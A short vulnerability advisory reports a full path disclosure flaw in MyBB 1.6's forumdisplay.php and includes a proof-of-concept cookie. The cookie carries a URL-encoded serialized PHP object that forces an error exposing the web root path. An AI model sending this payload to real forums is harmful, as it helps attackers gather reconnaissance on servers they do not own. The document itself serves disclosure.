MyBB v1.6 Full Path Disclosure Vulnerability

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MyBB v1.6 Full Path Disclosure Vulnerability
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Reference: http://www.htbridge.ch/advisory/path_disclosure_in_mybb.html
Product: MyBB
Vendor: MyBB ( http://www.mybb.com )
Vulnerable Version: 1.6
Vendor Notification: 13 October 2010
Vulnerability Type: Path disclosure
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
The vulnerability exists due to failure in the "/forumdisplay.php" script to properly sanitize user-supplied input in mybb[forumread] variable from cookie, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.
 
 
Cookie: mybb[forumread]=%4f%3a%31%3a%22%31%22%3a%31%3a%7b%73%3a%31%3a%22%31%22%3b%61%3a%32%3a%7b%69%3a%30%3b%73%3a%31%3a%22%31%22%3b%69%3a%31%3b%73%3a%31%3a%22%32%22%3b%7d%7d;



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